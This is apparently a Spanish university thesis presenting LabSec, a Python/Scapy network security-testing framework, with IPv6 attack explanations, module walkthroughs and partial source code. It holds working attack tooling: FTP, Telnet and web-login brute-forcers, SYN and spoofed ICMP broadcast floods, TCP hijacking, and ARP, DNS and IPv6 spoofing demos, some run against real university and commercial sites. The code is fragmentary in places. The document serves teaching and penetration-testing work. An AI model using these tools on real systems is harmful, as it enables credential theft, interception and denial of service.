estado Incomplete y envíe un mensaje de Neighbor Solicitation (NS) en el enlace, inicie
un temporizador de retransmisión, y así sucesivamente.
Si bien hay varias formas de mitigar este ataque, la asignación de subredes /127 en
enlaces punto a punto lo elimina por completo.
Los routers utilizan mensajes de redirección (ICMPv6 Redirect) para indicar a un host
que existe una ruta más directa hacia una red destino. El mensaje contiene la dirección
link-local del router por el cual la ruta hacia el destino es más eficiente. El host al recibir
este mensaje actualiza su tabla de ruteo con dicha dirección.
Un atacante que se encuentra en el mismo segmento de red que el nodo víctima, puede
enviar a esta un mensaje ICMPv6 Redirect simulando ser el legítimo first-hop router,
suplantando la dirección link-local de este e indicando una dirección arbitraria de
redirección (por lo general el atacante pone su propia dirección link-local para hacer un
MITM). El nodo victima acepta el mensaje Redirect porque viene de la dirección de su
first-hop router y actualiza su tabla de ruteo. El ataque de redirección puede ser usado
para realizar un MITM o un DoS.
Contramedidas:
Las amenazas al protocolo Neighbor Discovery vistas a lo largo del presente capítulo
pueden ser mitigadas con la implementación del protocolo SeND (Secure Neighbor
Discovery) definido en el RFC 3971.
El protocolo SeND se aplica en entornos en los que la seguridad física en el enlace no
está garantizada (por ejemplo, en redes inalámbricas) y se basa en la inclusión de
5. Framework de seguridad
5.1. ¿Qué es un Framework?
Definición de Framework
Para el desarrollo del Framework LabSec se optó por el diseño de una arquitectura
sencilla, como muestra la Fig. 5-1, y conformada por los siguientes componentes:
Interfaz: la interacción del usuario con el framework se realiza a través de una terminal
o consola. Para ejecutar el framework se requiere de permisos de superusuario (root).
Módulos: los módulos implementan las diferentes pruebas de seguridad. Estos son
cargados en memoria por el usuario de forma dinámica, en tiempo de ejecución, por un
comando llamado load. Los módulos se agrupan en categorías según el tipo de ataque
que realizan.
Librería Scapy: en el desarrollo de los módulos que realizan las pruebas de seguridad
intervienen muchas librerías, siendo Scapy una de las más importantes, debido a que
permite crear y manipular paquetes de la familia de protocolos TCP/IP de manera muy
sencilla. Algunas de las funcionalidades que permite realizar son:
5.2.3. Instalación
Instalación
Para llamar a LabSec Framework el usuario debe abrir una terminal e introducir el
comando labsec, y al pulsar ENTER se solicita que ingrese la contraseña de
superusuario, como muestra la siguiente figura:
Comandos
El framework Labsec tiene dos tipos de comandos, los generales que sirven para
interactuar con el intérprete, y los de módulo usados para la interacción del usuario con
los módulos. La siguiente tabla muestra los comandos existentes y una descripción de
sus respectivas funciones.
Tipo de
comando Comando Descripción
Lista un menú de ayuda y
help brinda información acerca de
los comandos del framework.
Permite cargar módulos de
forma dinámica en tiempo de
load <module> ejecución. El comando load
recibe como parámetro el
Comandos nombre del módulo a cargar.
Generales Muestra en pantalla una lista
modules de los módulos disponibles en
el framework.
Permite ejecutar comandos
exec <shell command> <args> shell desde el intérprete.
Por ejemplo: exec ping 8.8.8.8
clear Limpia el terminal.
exit Cierra Labsec Framework
En la Fig. 5-5 se muestra la ejecución del comando help, se lista solamente los
comandos generales, puesto que aún no se ha cargado ningún módulo.
Usando el comando modules, el usuario puede ver una lista de los módulos disponibles,
como muestra la siguiente figura:
Ya cargado el módulo, al usar el comando help se listan los comandos para interactuar
con el módulo (además de los comandos generales), como muestra la figura:
Con el comando options se pueden ver los parámetros que deben configurarse en el
módulo liveshosts. En la siguiente figura se observa que el módulo liveshosts requiere
de tres parámetros: target, method e iface (donde los dos últimos tienen valores por
defecto).
Finalmente, una vez ajustados los parámetros del módulo, se lo ejecuta usando el
comando run, como muestra la siguiente figura:
Cada módulo posee información detallada acerca de los parámetros requeridos y puede
ser consultada usando el comando options info.
Crear nuevos módulos para Labsec Framework requiere seguir una serie de reglas para
asegurar la correcta integración del módulo creado y la herramienta.
Reglas:
La siguiente figura muestra una plantilla con la estructura que debe tener un módulo
para Labsec Framework.
El método options debe brindar información acerca de los parámetros del módulo.
Mientras que en el método set se escribe el código para ajustar dichos parámetros.
Finalmente, en el método run se escribe el código de la prueba de seguridad a llevar a
cabo.
Módulo dnsaxfr: permite identificar a los DNS autoritativos para un dominio dado y
solicita a los mismos una transferencia de zona completa.
La siguiente figura muestra la carga del módulo dnsaxfr y los parámetros a configurar.
El objetivo en esta prueba es obtener una transferencia de zona completa del dominio
unt.edu.ar. Entonces, los parámetros se establecen como muestra la Fig. 5-16. El
parámetro iface se configura solamente si se cuenta con más de una interfaz de red
activa. En caso de disponer solo una, se puede dejar sin setear (None).
Módulo liveshosts: permite identificar a los hosts activos en una red (interna o
externa).
En la sección 5.2.4 se muestra el uso de este módulo para el escaneo de una red local.
En la siguiente figura se visualizan los valores de los parámetros para escanear una red
externa usando mensajes icmp.
Módulo ports: permite identificar puertos abiertos en los equipos de una red.
La siguiente figura muestra la carga del módulo ports y los parámetros a configurar.
La Fig. 5-22. se observan los valores de los parámetros para escanear equipos
pertenecientes a la red 192.168.0.0/24.
Al ejecutar el módulo se indican los puertos abiertos en los hosts de la red escaneada.
Módulo bfftp: realiza un ataque de fuerza bruta por diccionario al servicio FTP.
La siguiente figura muestra la carga del módulo bfftp y los parámetros a configurar.
La siguiente figura muestra la carga del módulo bftelnet y los parámetros a configurar.
Módulo bfweblogin: realiza ataques de fuerza bruta por diccionario a páginas web que
usan un sistema de autenticación basado en usuario y contraseña.
Para esta prueba de concepto se usa como objetivo (target) la página web
www.tucuman.miredbus.com.ar/login. Para llevar a cabo el ataque se necesita
configurar una serie de parámetros: vauser, vapass y additionalp, que deben setearse
con el nombre las variables enviadas en el método POST cuando un usuario se loguea.
El nombre de estas variables puede obtenerse inspeccionando el código fuente la página
web o simplemente usar un sniffer para inspeccionar el paquete POST enviado, como
se muestra en la siguiente figura.
Si un cliente intenta establecer una conexión al servicio TELNET del host objetivo, la
conexión es rechazada como muestra la siguiente figura, es decir, se está produciendo
una denegación del servicio.
Módulo floodtcpsyn: realiza un ataque de TCP SYN Flooding (sección 3.6.3). Hace un
envío masivo de paquetes TCP SYN pero sin llegar a establecer conexión.
La prueba se realiza sobre puerto 80 (HTTP) del host víctima de IP 192.168.0.105. Los
parámetros del módulo se observan de la siguiente manera:
Ejecutando el comando netstat -an en el host víctima se visualiza los efectos del
ataque, cientos de conexiones al puerto 80 en estado SYN_ RECEIVED.
Los efectos del ataque pueden verse en la siguiente figura. Debido a la capacidad
computacional de los equipos involucrados, el ataque no llega a provocar una
denegación de servicio, pero si se observa un aumento del tráfico de la red al iniciar el
ataque.
Módulo arpspoof: lleva a cabo un ataque de Man in the Middle al envenenar la caché
ARP de los hosts víctimas, como se expone en la sección 3.4.
La siguiente figura muestra la carga del módulo arpspoof y los parámetros a configurar.
Al ejecutar el módulo se muestra una pantalla que indica que se está realizando el
envenenamiento de la caché ARP de los hosts objetivos.
A partir de ese momento todo el tráfico intercambiado entre los hosts victimas pasan
por el host del atacante. En la siguiente figura se muestra el tráfico capturado de un ping
enviado desde uno de los hosts objetivos hacia el otro.
La siguiente figura muestra la carga del módulo dnsspoof y los parámetros a configurar.
Cuando el host víctima intenta acceder al sitio web mencionado, la solicitud DNS
enviada es interceptada y respondida por el host atacante como se ve en la siguiente
figura.
Al recibir la resolución falsa, la víctima es redirigida a una página web preparada por
el atacante para un ataque de phishing. Como se puede ver en la Fig. 5-56 la página es
muy similar a la web real de alumnos-derecho.unt.edu.ar. Sin embargo, cuando el
usuario se loguea, está enviado sus credenciales al servidor web del atacante como se
visualiza en la Fig. 5-57.
Fig. 5-56. Página web falsa alojada en el servidor web del atacante.
Módulo hjtcp: realiza el secuestro de una conexión TCP ya establecida, tema tratado
en la sección 3.5.
La siguiente figura muestra la carga del módulo hjtcp y los parámetros a configurar.
Al ejecutar el módulo se abre una ventana desde la que el atacante envía el paquete
TCP especialmente formado para realizar el secuestro de la conexión.
Módulo scanipv6: permite identificar a los hosts IPv6 activos de una red local.
La siguiente figura muestra la carga del módulo scanipv6 y los parámetros a configurar.
El parámetro ip6global se debe configurar con la dirección IPv6 global del host atacante
(en caso que tenga una IP global configurada). Si el host atacante no posee una IP global
configurada, dicho parámetro debe dejarse en blanco.
Al ejecutar el módulo se muestra por pantalla las direcciones IPv6 de los hosts activos
en el segmento de red. El módulo detecta tanto direcciones IPv6 de enlace local como
globales.
Módulo namitm: realiza un ataque de Man in the Middle a equipos con IPv6 al
envenenar el caché vecino de los hosts víctimas, como se trata en la sección 4.6.
La siguiente figura muestra la carga del módulo namitm y los parámetros a configurar.
La siguiente figura muestra el caché vecino de los hosts victimas antes del ataque.
A partir de este momento todo el tráfico intercambiado entre los hosts víctimas pasa
por el host del atacante.
Fig. 5-71. Monitoreo del tráfico intercambiado entre los hosts víctimas.
La siguiente figura muestra la carga del módulo nados y los parámetros a configurar.
En la siguiente figura se muestra el caché vecino del host víctima antes del ataque.
Al ejecutar el módulo se muestra una pantalla indicando que se está realizando el ataque
DoS.
En la siguiente figura puede verse el envenenamiento del caché vecino del host víctima.
A partir de ese momento el host víctima no puede comunicarse con el host suplantado.
La siguiente figura muestra la carga del módulo raflood y los parámetros a configurar.
Este módulo no requiere parámetros obligatorios y cabe destacar que afecta a todos
los hosts del enlace debido a que los mensajes RA se envían a la dirección multicast
all-nodes. En la siguiente figura puede verse el estado de la interfaz wlan0 de un host
victima antes del ataque.
La prueba se realiza sobre una red local IPv6 con un prefijo de subred 2001:db8::/64
(prefix). Las direcciones se autoconfiguran mediante SLAAC a través del router de IP
fe80::29af:b6e2:57e2:c1fa (default router). El parámetro fakerouter se establece con la
dirección IP link-local del host atacante para realizar un ataque MITM (o se puede
configurar con una IP invalida para hacer un ataque de DoS). La siguiente figura
muestran los valores de los parámetros:
Cabe destacar que el ataque afecta a todos los hosts del segmento. A continuación, se
muestra la tabla de ruteo de un host víctima antes del ataque. Como puede verse en la
Fig. 5-83 tiene configurado como default router al router legítimo de la subred.
Fig. 5-83. Tabla de ruteo del host víctima antes del ataque.
Al ejecutar el ataque la tabla de ruteo del host víctima se ve afectada. Ahora su default
router es la IP del host atacante, como se puede apreciar en la siguiente figura:
Fig. 5-84. Tabla de ruteo del host víctima después del ataque.
El host atacante será un default router válido por el tiempo que el atacante definió en
el parámetro lifetime (120 min). Durante ese tiempo todo el tráfico enviado hacia fuera
de la subred pasa por el host del atacante.
Para detener el ataque antes de la expiración del tiempo definido en lifetime, se debe
reconfigurar el parámetro lifetime a valor 0 y ejecutar nuevamente el módulo como
muestra la siguiente figura:
CONCLUSIONES
El desarrollo de este proyecto representó un gran desafío y una excelente oportunidad
para aplicar los conocimientos aprendidos durante la carrera, como así también, el
aprendizaje de nuevos conceptos durante las etapas de investigación y desarrollo.
Conclusiones 112
Framework para pruebas de seguridad en dispositivos de red
BIBLIOGRAFIA
Libros
García Rambla, J.L., Ataque en Redes de Datos IPv4 e IPv6, Ed. ZeroXword, Madrid,
2014
Echeverri Montoya, D., Python para Pentesters, Ed. ZeroXword, Madrid, 2014
Sitios Web
Pentesting. URL
http://www.isaca.org/chapters3/Atlanta/AboutOurChapter/Documents/GW2015/0811
15-10AM-Pentesting.pdf Accedido: 18-Marzo-2018
Bibliografía 113
Framework para pruebas de seguridad en dispositivos de red
RFCs y Drafts
Measures for Making DNS More Resilient against Forged Answers. URL
http://tools.ietf.org/html/rfc5452 Accedido: 15-Marzo-2018
Bibliografía 114
Framework para pruebas de seguridad en dispositivos de red
Temas:
• Escaneos en IPv6
• Ataques de MITM en IPv6
• Ataques DoS en IPv6
Objetivos:
• Conocer técnicas para el descubrimiento de hosts en un entorno con IPv6.
• Conocer el funcionamiento de un ataque MITM en IPv6.
• Conocer los efectos de un ataque de DoS basado en Flood Router
Advertisement.
Para la realización de este práctico de laboratorio se usa la misma topología de red del
Laboratorio 3. Cada grupo debe tomar una LAN y configurarla como se muestra en la
figura de abajo. Se requieren 3 hosts por LAN, cada uno de ellos con una IP global
configurada, según el prefijo de subred correspondiente.
El envenenamiento de caché vecino es una técnica usada para infiltrarse en una red
Ethernet conmutada (basada en switch y no en hubs), que puede permitir al atacante
analizar paquetes de datos en la LAN IPv6, modificar el tráfico, o incluso detener el
tráfico (conocido como DoS: Denegación de Servicio).
dirección MAC cambiada (por la del atacante). La victima al recibir este mensaje
almacena en su caché vecino una resolución IPv6 – MAC falseada.
Un equipo con una dirección IPv6 link-local no puede rutear su tráfico si no tiene una
dirección IPv6 de sitio o global, es por eso que los routers, a través del mecanismo
SLAAC, envían mensajes RA (Router Advertisement) indicando a los equipos cómo
deben configurase para tener conectividad a través de ellos.
Como en el segmento de red puede haber más de un router, los equipos clientes IPv6
permiten configurar tantas direcciones como mensajes RA reciban de los diferentes
routers. Esto puede ser aprovechado por un atacante para realizar una denegación de
servicio sobre un host, al inundar el segmento de red con mensajes RA usando
diferentes prefijos, de manera que el host victima procese los mensajes y configure una
dirección IPv6 con cada prefijo anunciado, elevando así su consumo de CPU hasta
bloquearse.
def version():
try:
version = sys.version
if version.find("3.5")!= -1 or version.find("3.6")!= -1
or version.find("3.7")!= -1 or version.find("3.8")!= -1 or
version.find("3.9")!= -1:
print("Version de python3 [OK]")
else:
print("Labsec requiere Python 3.5 o superior. Por
favor actualice la versión.")
sys.exit(0)
except Exception as e:
print("Labsec requiere Python 3.5 o superior. Por favor
actualice su versión.")
print(e)
def configuracion():
try:
ruta = os.getcwd()
#print(ruta)
ruta = os.getcwd()
rutaarchivo = ruta + '/extras/labsec'
archivo = open(rutaarchivo , 'w')
codigoCliente = '''
echo labsec requiere permiso de administrador...
cd {}
sudo python3 labsec.py
clear
'''.format(ruta)
archivo.write(codigoCliente)
archivo.close()
os.system("sudo chmod 777 " + rutaarchivo)
def dependencias():
try:
os.system("sudo apt-get install python3-setuptools")
os.system("sudo apt-get -y install python3-pip")
os.system("sudo apt-get install zenmap")
os.system("sudo pip3 install scapy-python3==0.23")
os.system("sudo pip3 install colorama")
os.system("sudo pip3 install platform")
except Exception as e:
print("Error al intentar instalar dependencias.")
print(e)
if __name__ == "__main__":
version()
configuracion()
dependencias()
os.system("clear")
marquesina.marca()
def main():
while True:
try:
if l_comando[0] == "load":
try:
comandos.load(l_comando[1])
l_comando[0]= "" # sirve solamente para
este while
except IndexError:
print("El comando 'load' requiere que
proporcione el nombre de un modulo: load <module>")
except Exception as er:
print("ERROR: ", er)
if __name__ == "__main__":
main()
#--------------------------------------------------------------------
#Nombre de script: comandos.py
import importlib
from colorama import Fore, Back, Style, init
import marquesina
import platform
import os
import sys
if platform.system() == "Windows":
init() #para colorear en windows
def load(nombre_modulo):
"""El comando 'load' permite cargar modulos de forma dinamica
en tiempo de ejecucion.
Los modulos se encuentran ubicados en la carpeta llamada
'modulos'
ejemplo de uso: load nombre_del_modulo
"""
#nombre_modulo = "modulos/nombre_archivo"
try:
mod_namefile = nombre_modulo.split("/")
comparador_archivo = (mod_namefile[0],mod_namefile[1])
nombre_modulo =
"modulos."+comparador_archivo[0]+"."+comparador_archivo[1]
# ejemplo: #nombre_modulo = "modulos.scanner.ports"
try:
modulo = importlib.import_module(nombre_modulo)
obtener = getattr(modulo,
str(mod_namefile[1].capitalize()))()
modulo = obtener
orden = ""
nombre_m = nombre_modulo.split('.')
nombre_modulo = str(nombre_m[1]) +"/"
+str(nombre_m[2])
if modulo:
orden = input(Style.BRIGHT +
"labsec(" + Fore.RED + nombre_modulo + Fore.RESET +")>> " +
Style.NORMAL)
comandos = orden.split(" ")
if comandos[0] != "back":
if comandos[0] == "clear":
limpiar()
elif comandos[0] ==
"modules":
modules()
load(comandos[1])
#break
except IndexError:
print("El
comando 'load' requiere que proporcione el nombre de un modulo: load
<module>")
help_commnd("generico")
else:
help_commnd(comandos[1])
except IndexError:
help_commnd("generico")
else:
try: #comandos
internos
if comandos[0]
== "run":
#print("ddd", comandos[0])("")
getattr(modulo, comandos[0])()
elif comandos[0]
== "options":
if
len(comandos)>1:
getattr(modulo, comandos[0])(comandos[1:])
else:
getattr(modulo, comandos[0])("generic")
else:
getattr(modulo, comandos[0])(comandos[1:])
except IndexError:
print("El
comando requiere de parametros. \nUtilice el comando {}{}help {}{}{}
para obtener ayuda.".format(Style.BRIGHT ,Fore.CYAN, comandos[0],
Style.NORMAL ,Fore.RESET))
except Exception as e:
if orden != "":
print("El
comando ingresado no es valido. \nUtilice el comando {}{}help{}{}
para obtener ayuda.\n{}.".format(Style.BRIGHT ,Fore.CYAN,
Style.NORMAL ,Fore.RESET, e))
else:
continue
del modulo # libero memoria, eliminando el modulo
luego de usarlo
except ImportError:
print("ERROR de importación!\nModulo no encontrado.
Utilice el comando {}modules{} para listar los modulos
disponibles.".format(Fore.YELLOW, Fore.RESET))
except IndexError:
print("ERROR IndexError!!\nModulo no encontrado.
Utilice el comando {}modules{} para listar los modulos
disponibles.".format(Fore.YELLOW, Fore.RESET))
# except SyntaxError:
# print("Error en el modulo: El archivo debe llamarse
igual que la clase!")
except Exception as e:
print("Error: ", type(e), e)
except IndexError:
print("ERROR de importación!!!\nModulo no encontrado.
Utilice el comando {}modules{} para listar los modulos
disponibles.".format(Fore.YELLOW, Fore.RESET))
def Help(arg):
if arg == "generico":
print(Fore.YELLOW + "\nComandos globales:" + Fore.RESET)
print("""
help Imprime este menú de ayuda
load <module> Carga el módulo seleccionado
else:
print("No se encontró información para el comando
'{}'".format(arg))
def help_commnd(arg):
if arg == "generico":
print(Fore.YELLOW + "\nComandos globales:" + Fore.RESET)
print("""
help Imprime este menú de ayuda
load <module> Carga el módulo seleccionado
modules Muestra una lista de todos los módulos
disponibles
clear Limpia el terminal
exec <shell command> <args> Ejecuta un comando en la shell
exit Salir de labsec framework""")
Help("generico")
else:
print("No se encontró información para el comando
'{}'".format(arg))
def modules():
try:
#modulos = []
print()
lsdir = lsdir("modulos")
lsdir.sort()
lsfile = []
print()
except Exception as e:
print("ERROR: ",e)
def terminal(args):
try:
cadena = ""
args.pop(0)
for i in args:
cadena = cadena + str(i) + " "
os.system(cadena)
except IndexError:
print("Error! en los parametros, 'exec' requiere que
proporcione un comando shell.")
except Exception as e:
print("ERROR: ",e)
def limpiar():
if platform.system() == "Windows":
os.system("cls")
else:
os.system("clear")
marquesina.marca()
#--------------------------------------------------------------------
#Nombre de script: marquesina.py
def marca():
print(Fore.RED + Style.BRIGHT
+"*******************************************************************
*************************")
print(Fore.YELLOW + """
_ _ ___ ___
_
| | __ _| |__/ __| ___ __ | __| _ __ _ _ __ _____ __
_____ _ _| |__
| |__/ _` | '_ \__ \/ -_) _| | _| '_/ _` | ' \/ -_) V V /
_ \ '_| / /
|____\__,_|_.__/___/\___\__| |_||_|
\__,_|_|_|_\___|\_/\_/\___/_| |_\_\\
#--------------------------------------------------------------------
Implementación de Módulos
Módulos Bruteforce
#Nombre de script: bfftp.py
#Descripción: Realiza un ataque de fuerza bruta por diccionario al servicio FTP
import ftplib
#from optparse import OptionParser
#import traceback
import os
import threading
from colorama import init, Fore, Back, Style
import subprocess
class Bfftp():
target = ""
userslist = "users.txt"
passwordlist = "pass.txt"
def __info(self):
print("""
OPTIONS INFO
""".format(self.target,self.userslist, self.passwordlist,
Fore.YELLOW, Fore.RESET))
def set(self,args):
try:
if args[0] == "target":
self.target = args[1]
print("[+] target:",args[1])
elif args[0] == "userslist":
self.userslist = args[1]
print("[+] userslist:",args[1])
elif args[0] == "passwordlist":
self.passwordlist = args[1]
print("[+] passwordlist:",args[1])
else:
print("'{}' no es una opción valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis: set
<option name> <value>")
#--------------------------------------------------------------------
#Nombre de script: _bfftp.py
import ftplib
import sys
import os
from colorama import init, Fore, Back, Style
try:
target = sys.argv[1]
userslist = sys.argv[2]
passwordlist = sys.argv[3]
except Exception as par:
print("Error en parametros:", par)
input("Presione cualquier tecla para salir...")
try:
users = open("modulos/bruteforce/"+userslist, "r")
find=False
print("Iniciando ataque de fuerza bruta [target:
{}]\n".format(target))
for user in users:
if find:
break
passwords = open("modulos/bruteforce/" + passwordlist, "r")
user = user.strip()
for password in passwords:
password = password.strip()
try:
resp = ftpBrute(user, password, target)
if resp ==1:
break
except Exception as re:
print("Error(23): ", re)
passwords.close()
if resp==1:
break
asdf = input("Presione cualquier tecla para salir...")
except Exception as erer:
print("Error:", erer)
asdf = input("Presione cualquier tecla para salir...")
#--------------------------------------------------------------------
#Nombre de script: bftelnet.py
#Descripción: Realiza un ataque de fuerza bruta por diccionario al servicio TELNET
import os
from colorama import init, Fore, Back, Style
import time
import threading
import subprocess
class Bftelnet():
target = ""
userslist = "users.txt"
passwordlist = "pass.txt"
def __info(self):
print("""
OPTIONS INFO
----------------------------- ---------------------------
--
[-] set userslist users.txt Diccionario de usuarios
def set(self,args):
try:
if args[0] == "target":
self.target = args[1]
print("[+] target:",args[1])
elif args[0] == "userslist":
self.userslist = args[1]
print("[+] userslist:",args[1])
elif args[0] == "passwordlist":
self.passwordlist = args[1]
print("[+] passwordlist:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis:
set <option name> <value>")
#--------------------------------------------------------------------
#Nombre de script: _bftelnet.py
import getpass
import telnetlib
import os
from colorama import init, Fore, Back, Style
import sys
target = sys.argv[1]
userslist = sys.argv[2]
passwordlist = sys.argv[3]
a=tn.read_until(b'login:')
tn.write(user.encode('ascii') + b'\n')
if password:
b=tn.read_until(b'Password: ')
tn.write(password.encode('ascii') + b'\n')
l =tn.read_until(b'\n')
print(l.decode('UTF-8').strip())
l2 =tn.read_until(b'Login incorrect', timeout=4.5)
if l2.decode('UTF-8').strip() == 'Login incorrect':
print( "Usuario: {:<15} Password: {:<15}
[Incorrecto]".format(user,password))
tn.close()
else:
print( "Usuario: {:<15} Password: {:<15}
[CORRECTO]".format(user,password))
tn.write(b'exit\n')
tn.close()
find=True
break
passwords.close()
asdf = input("Presione cualquier tecla para salir...")
#--------------------------------------------------------------------
#Nombre de script: bfweblogin.py
#Descripción: Realiza un ataque de fuerza bruta por diccionario a páginas web que usan un
sistema de login.
import requests
import time
import os
import threading
import sys
#print(sys.argv)
target = sys.argv[1]
varuser = sys.argv[2]
varpass = sys.argv[3]
user= sys.argv[4]
wordlist = sys.argv[5]
additionalp = sys.argv[6]
flags = sys.argv[7]
if sys.argv[8]=='None':
iface = None
else:
iface = sys.argv[8]
addt= dict()
flagsdict = dict()
tupla = ()
lista = []
badera=False
try:
wordlist2 = open('modulos/bruteforce/'+wordlist,"r")
parametros = additionalp.split(',')
flagparm = flags.split(',')
#print(parametros)
for p in parametros:
p2 = p.split(':')
#print("p2: ",p2)
addt[p2[0].strip(" ")] = p2[1].strip(" ")
for f in flagparm:
f2 = f.split(':')
#print("f2: ",f2)
#flagsdict[f2[0].strip(" ")] = f2[1].strip(" ")
lista.append((f2[0].strip(" "), f2[1].strip(" ")))
#print(lista)
print("Ataque en progreso..")
tinicial = time.time()
for word in wordlist2.readlines():
r = requests.post(target, data=data,
allow_redirects=False)
if badera:
print(target)
print("[",r.status_code,"]","Usuario:",user,"--
","Password:", word.strip("\n") + " [CORRECTA]", end=" ")
break
else:
print(target)
print("[",r.status_code,"]","Usuario:",user,"--
","Password:", word.strip("\n"))
print()
badera=True
tfinal = time.time()
tiempo = tfinal - tinicial # Devuelve un objeto timedelta
print("\n\nTiempo de ataque: %.2f segundos." %(tiempo))
rr=input("")
except Exception as e:
print("ERROR:", e)
input("espereeee")
#--------------------------------------------------------------------
#Nombre de script: _bfweblogin.py
import requests
import time
import os
import threading
import sys
#print(sys.argv)
target = sys.argv[1]
varuser = sys.argv[2]
varpass = sys.argv[3]
user= sys.argv[4]
wordlist = sys.argv[5]
additionalp = sys.argv[6]
flags = sys.argv[7]
if sys.argv[8]=='None':
iface = None
else:
iface = sys.argv[8]
addt= dict()
flagsdict = dict()
tupla = ()
lista = []
badera=False
try:
wordlist2 = open('modulos/bruteforce/'+wordlist,"r")
parametros = additionalp.split(',')
flagparm = flags.split(',')
#print(parametros)
for p in parametros:
p2 = p.split(':')
#print("p2: ",p2)
addt[p2[0].strip(" ")] = p2[1].strip(" ")
for f in flagparm:
f2 = f.split(':')
#print("f2: ",f2)
print("Ataque en progreso..")
tinicial = time.time()
for word in wordlist2.readlines():
r = requests.post(target, data=data,
allow_redirects=False)
if
badera:
print(target)
print("[",r.status_code,"]","Usuario:",user,"--
","Password:", word.strip("\n") + " [CORRECTA]", end=" ")
break
else:
print(target)
print("[",r.status_code,"]","Usuario:",user,"--
","Password:", word.strip("\n"))
print()
badera=True
tfinal = time.time()
tiempo = tfinal - tinicial # Devuelve un objeto timedelta
print("\n\nTiempo de ataque: %.2f segundos." %(tiempo))
rr=input("")
except Exception as e:
print("ERROR:", e)
input("espere")
#--------------------------------------------------------------------
Módulos DoS
#Nombre de script: floodconnect.py
# Descripción: Establece conexiones TCP de forma masiva a un servicio hasta saturarlo,
impidiendo a un usuario legitimo establecer conexión.
class Floodconnect():
target = ""
port = ""
def __info(self):
print("""
OPTIONS INFO
""")
def set(self,args):
try:
if args[0] == "target":
self.target = args[1]
print("[+] target:",args[1])
elif args[0] == "port":
self.port = args[1]
print("[+] port:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis:
set <option name> <value>")
def run(self):
try:
hilo = threading.Thread(target=proceso)
hilo.setDaemon(True)
hilo.start()
except Exception as e:
print(e)
input()
#--------------------------------------------------------------------
#Nombre de script: _floodconnect.py
import socket
import time
import sys
import os
x=-1
tn = list()
print("Ataque en pregreso...")
while True:
try:
x+=1
tn.append(socket.socket(socket.AF_INET,
socket.SOCK_STREAM))
tn[x].connect((target, int(port)))
except Exception as e:
os.system("clear")
print("Ataque en pregreso...")
print("Las conexiones estan siendo rechazadas.")
print()
print("Presione Ctrl-C para detener el ataque.")
#time.sleep(0.2)
#--------------------------------------------------------------------
#Nombre de script: floodtcpsyn.py
#Descripción: Realiza un envío masivo de paquetes TCP SYN pero sin establecer conexión.
class Floodtcpsyn():
target=""
iface = None
port =""
def __info(self):
print("""
OPTIONS INFO
[+] target: Dirección ip del host objetivo.
""")
def set(self,args):
try:
if args[0] == "iface":
self.iface = args[1]
print("[+] iface:",args[1])
elif args[0] == "target":
self.target = args[1]
print("[+] target:",args[1])
elif args[0] == "port":
self.port = args[1]
print("[+] port:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis:
set <option name> <value>")
def run(self):
try:
def proceso():
subprocess.run(['xterm', '-e', comando])
hilo = threading.Thread(target=proceso)
hilo.setDaemon(True)
hilo.start()
except Exception as e:
print(e)
input()
#--------------------------------------------------------------------
#Nombre de script: _ floodtcpsyn.py
import logging
import sys
import os
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
print("Necesitas tener scapy")
sys.exit(0)
target_IP = sys.argv[1]
port = sys.argv[2]
if sys.argv[3] == 'None':
iface = None
else:
iface = sys.argv[3]
while True:
try:
except KeyboardInterrupt:
print("Deteniendo el ataque...")
os.system("iptables -F")
time.sleep(3)
break
except Exception as e:
print(e)
#--------------------------------------------------------------------
#Nombre de script: floodicmp.py
#Descripción: Realiza un envío masivo de paquetes ICMP para degradar el rendimiento de la
red.
def __info(self):
print("""
OPTIONS INFO
[+] target: Dirección ip del host objetivo.
""")
def set(self,args):
try:
if args[0] == "iface":
self.iface = args[1]
print("[+] iface:",args[1])
elif args[0] == "target":
self.target = args[1]
print("[+] target:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis:
set <option name> <value>")
def run(self):
try:
import logging
import sys
import time
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
print("Necesitas tener scapy")
sys.exit(0)
target_IP = sys.argv[1]
conf.verb = 0 #Que no muestre datos en pantalla
if sys.argv[2] == 'None':
iface = None
else:
iface = sys.argv[2]
broadcast = '255.255.255.255'
carga = "a"*1400
try:
eth= Ether(dst="ff:ff:ff:ff:ff:ff")
IP1 = IP(src= target_IP, dst = broadcast)
ICMP1 = ICMP(type=8)
pkt = eth/IP1/ICMP1/carga
sendp(pkt)
except KeyboardInterrupt:
print("Deteniendo el ataque...")
time.sleep(3)
break
except Exception as e:
print(e)
#--------------------------------------------------------------------
Módulo Hijacking
#Nombre de script: hjtcp.py
# Descripción: Permite realizar el secuestro de una conexión TCP.
import subprocess
import os
class Hjtcp():
ipsrc = ""
ipdst = ""
dport= ""
sport= ""
seq = ""
ack = ""
iface = None
def __info(self):
print("""
OPTIONS INFO
""")
def set(self,args):
try:
if args[0] == "ipsrc":
self.ipsrc = args[1]
print("[+] ipsrc:",args[1])
elif args[0] == "ipdst":
self.ipdst = args[1]
print("[+] ipdst:",args[1])
elif args[0] == "sport":
self.sport = args[1]
print("[+] sport:",args[1])
elif args[0] == "dport":
self.dport = args[1]
print("[+] dport:",args[1])
elif args[0] == "seq":
self.seq = args[1]
print("[+] seq:",args[1])
elif args[0] == "ack":
self.ack = args[1]
print("[+] ack:",args[1])
elif args[0] == "iface":
self.iface = args[1]
print("[+] iface:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis:
set <option name> <value>")
def run(self):
#--------------------------------------------------------------------
#Nombre de script: _ hjtcp.py
import sys
import logging
import threading
import os
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
print("Necesitas tener scapy.")
sys.exit(0)
if sys.argv[5] == 'None':
iface= None
else:
iface= sys.argv[7]
conf.verb=0
###Construyendo el paquete
print("CHAT - [PC-
ATACANTE]\n******************************************")
payload = input(">> ")
payloadB = bytes(payload+'\n', 'utf-8')
